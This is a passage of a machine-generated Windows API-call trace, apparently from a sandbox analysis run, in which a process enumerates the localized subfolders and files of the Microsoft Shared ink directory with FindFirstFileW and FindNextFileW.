[0049.621] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.621] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.621] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.621] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0049.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.622] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.622] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.622] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.622] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.622] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0049.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.622] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.622] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.623] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.623] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.623] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0049.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.623] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.623] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.623] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.623] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.623] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0049.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.623] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.623] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.623] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.624] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.624] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0049.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.624] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.624] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.624] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.624] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.624] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0049.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.624] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.624] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.624] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.624] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.624] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0049.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.625] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.625] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.625] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.625] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.625] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0049.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.625] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.625] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.625] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.625] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.625] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0049.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.626] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.626] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.626] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.626] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.626] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0049.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0049.626] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.626] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.626] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0049.626] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0049.626] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0049.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, 